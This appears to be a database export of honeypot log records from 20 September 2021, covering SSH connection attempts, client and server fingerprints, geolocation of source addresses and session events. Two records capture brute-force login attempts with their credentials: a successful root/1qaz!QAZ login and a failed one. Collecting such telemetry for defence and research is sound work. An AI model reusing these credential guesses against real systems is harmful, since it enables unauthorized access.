20627	222.187.254.41	109.199.241.180	Fatt	2021-09-20 14:05:22.429772+03	2021-09-20 14:15:02.614647+03	{"_id": "ZQXhAnwBvYTbRNuExvok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "222.187.254.41", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 11104, "dest_port": 22, "timestamp": "2021-09-20T11:05:22.429772", "@timestamp": "2021-09-20T11:05:22.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20628	222.187.254.41	109.199.241.180	Cowrie	2021-09-20 14:05:22.429988+03	2021-09-20 14:15:02.615642+03	{"_id": "ZgXhAnwBvYTbRNuExvok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "222.187.254.41", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "c728cae21de2", "@version": "1", "timestamp": "2021-09-20T11:05:22.429988Z", "@timestamp": "2021-09-20T11:05:22.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20629	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:22.86629+03	2021-09-20 14:15:02.617642+03	{"_id": "ZwXhAnwBvYTbRNuEyfqI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34752, "dest_port": 443, "timestamp": "2021-09-20T11:05:22.866290", "@timestamp": "2021-09-20T11:05:22.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20630	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:05:23.093587+03	2021-09-20 14:15:02.618643+03	{"_id": "aQXhAnwBvYTbRNuEyfrB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f93aeec3985f", "@version": "1", "duration": 2.2258787155151367, "timestamp": "2021-09-20T11:05:23.093587Z", "@timestamp": "2021-09-20T11:05:23.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20631	222.187.254.41	109.199.241.180	Cowrie	2021-09-20 14:05:23.633421+03	2021-09-20 14:15:02.620646+03	{"_id": "agXhAnwBvYTbRNuEyfrC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.187.254.41", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "c728cae21de2", "@version": "1", "duration": 1.4859249591827393, "timestamp": "2021-09-20T11:05:23.633421Z", "@timestamp": "2021-09-20T11:05:23.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20642	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:05:00.529246+03	2021-09-20 14:15:02.634613+03	{"_id": "HwXhAnwBvYTbRNuEcPos", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "98000530affb", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:05:00.529246Z", "@timestamp": "2021-09-20T11:05:00.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20632	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:05:25.794913+03	2021-09-20 14:15:02.621648+03	{"_id": "awXhAnwBvYTbRNuE0PrD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "flow_id": 319583868524867, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56042, "dest_port": 22, "timestamp": "2021-09-20T11:05:25.794913Z", "@timestamp": "2021-09-20T11:05:25.794Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20633	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:05:25.678722+03	2021-09-20 14:15:02.622614+03	{"_id": "bgXhAnwBvYTbRNuE0frd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 132.148.165.94:56042 (192.168.176.2:22) [session: 09cb136133d8]", "session": "09cb136133d8", "@version": "1", "protocol": "ssh", "src_port": 56042, "dest_port": 22, "timestamp": "2021-09-20T11:05:25.678722Z", "@timestamp": "2021-09-20T11:05:25.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20634	132.148.165.94	109.199.241.180	Fatt	2021-09-20 14:05:25.796959+03	2021-09-20 14:15:02.623643+03	{"_id": "dQXhAnwBvYTbRNuE0frd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56042, "dest_port": 22, "timestamp": "2021-09-20T11:05:25.796959", "@timestamp": "2021-09-20T11:05:25.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20635	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:56.634501+03	2021-09-20 14:15:02.625642+03	{"_id": "AQXhAnwBvYTbRNuEYPqI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.login.success", "message": "login attempt [root/1qaz!QAZ] succeeded", "session": "02098b2841c8", "@version": "1", "password": "1qaz!QAZ", "username": "root", "timestamp": "2021-09-20T11:04:56.634501Z", "@timestamp": "2021-09-20T11:04:56.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
20636	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:57.341404+03	2021-09-20 14:15:02.626642+03	{"_id": "CAXhAnwBvYTbRNuEZPol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53513, "timestamp": "2021-09-20T11:04:57.341404", "@timestamp": "2021-09-20T11:04:57.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20637	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:57.687409+03	2021-09-20 14:15:02.628613+03	{"_id": "CQXhAnwBvYTbRNuEZPol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bf4c337235b6", "@version": "1", "timestamp": "2021-09-20T11:04:57.687409Z", "@timestamp": "2021-09-20T11:04:57.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20638	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:59.183247+03	2021-09-20 14:15:02.629614+03	{"_id": "EAXhAnwBvYTbRNuEbPpC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "bf4c337235b6", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:04:59.183247Z", "@timestamp": "2021-09-20T11:04:59.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20639	68.168.141.140	109.199.241.180	Suricata	2021-09-20 14:05:00.724922+03	2021-09-20 14:15:02.630613+03	{"_id": "EQXhAnwBvYTbRNuEb_oO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "68.168.141.140", "dest_ip": "192.168.20.116", "flow_id": 1748744972071581, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52048, "dest_port": 22, "timestamp": "2021-09-20T11:05:00.724922Z", "@timestamp": "2021-09-20T11:05:00.724Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20640	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:05:00.526201+03	2021-09-20 14:15:02.632613+03	{"_id": "HAXhAnwBvYTbRNuEcPos", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 68.168.141.140:52048 (192.168.176.2:22) [session: 98000530affb]", "session": "98000530affb", "@version": "1", "protocol": "ssh", "src_port": 52048, "dest_port": 22, "timestamp": "2021-09-20T11:05:00.526201Z", "@timestamp": "2021-09-20T11:05:00.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20641	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:00.530136+03	2021-09-20 14:15:02.633612+03	{"_id": "GAXhAnwBvYTbRNuEcPor", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "68.168.141.140", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52048, "timestamp": "2021-09-20T11:05:00.530136", "@timestamp": "2021-09-20T11:05:00.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
